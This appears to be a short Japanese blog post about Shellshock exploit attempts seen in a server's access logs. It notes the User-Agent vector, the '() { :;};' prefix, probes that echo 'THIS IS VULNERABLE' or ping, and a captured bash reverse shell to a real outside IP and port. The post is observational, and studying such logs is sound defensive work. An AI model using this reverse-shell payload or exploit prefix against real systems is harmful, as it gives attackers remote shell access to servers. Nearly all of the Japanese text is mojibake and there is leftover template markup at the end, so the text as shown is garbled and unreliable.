/dev/tcpã«ã‚ˆã‚‹bashã®ã‚½ã‚±ãƒƒãƒˆé€šä¿¡ä»¶ã®bashã®è„†å¼±æ€§ãŒæ®‹ã£ã¦ã„ã‚‹ã“ã¨ã‚’期待ã—ãŸã‚¢ã‚¯ã‚»ã‚¹ã«ã¤ã„ã¦ã€24時間ã»ã©å‰ã«ã¯æ¥ã¦ãªã‹ã£ãŸã‚“ã§ã™ãŒã€ã•ãã»ã©ãƒã‚°ã‚’見ã¦ã¿ãŸã‚‰ã¡ã‚‡ã£ã¨ã ã‘æ¥ã¦ã¾ã—ãŸã€‚ ãƒã‚°ã«æ®‹ã‚‹ã®ã¯ User-Agent ãらã„ãªã®ã§ã™ãŒã€ã»ã‹ã®ãƒ•ã‚£ãƒ¼ãƒ«ãƒ‰ã§è©¦ã—ã¦ã„る輩もã„ã‚‹ã“ã¨ã§ã—ょã†ã€‚ アクセス元を逆引ãã—ã¦ã¿ãŸã‚“ã§ã™ãŒã€ã‚¯ãƒ©ã‚¦ãƒ‰ã‚µãƒ¼ãƒ“スã°ã£ã‹ã‚Šã§ã—ãŸï¼ˆä¸€å€‹ã ã‘ shodan.io ãªã‚‹ãƒ‰ãƒ¡ã‚¤ãƒ³ã®ä¸‹ã®IPアドレスã‹ã‚‰ã‚ã£ãŸã®ã ã‘ã©ã€ãªã‚“ã ã‚ã†â€¦â€¦ï¼‰ã€‚ ã•ã¦ã€() { :;}; ã®å¾Œã«ãªã«ã‚’ã‚„ã£ã¦ã‚‹ã®ã‹ã€ã¨ã„ã†ã®ãªã‚“ã§ã™ãŒã€ä¸€ã¤ THIS IS VULNERABLE 㨠echo ã™ã‚‹ã ã‘ã¨ã„ã†äººãŒã„ã¾ã—ãŸã€‚è¦å‘Šã®ã¤ã‚‚ã‚Šãªã®ã‹ã€æ‰‹å‹•ã§ä½•ã‹ç¢ºèªã—ã¦ã„ã‚‹ã®ã‹ãªã€‚ã‚ã¨ã¯pingã ãªâ€¦â€¦ã¨æ€ã£ã¦ãŸã‚“ã§ã™ãŒã€ã¡ã‚‡ã£ã¨ç‰¹ç•°ãªã‚‚ã®ãŒã€‚ /bin/bash -i > /dev/tcp/198.206.15.239/8081 0>&1
{{#tags}}- {{label}}
{{/tags}}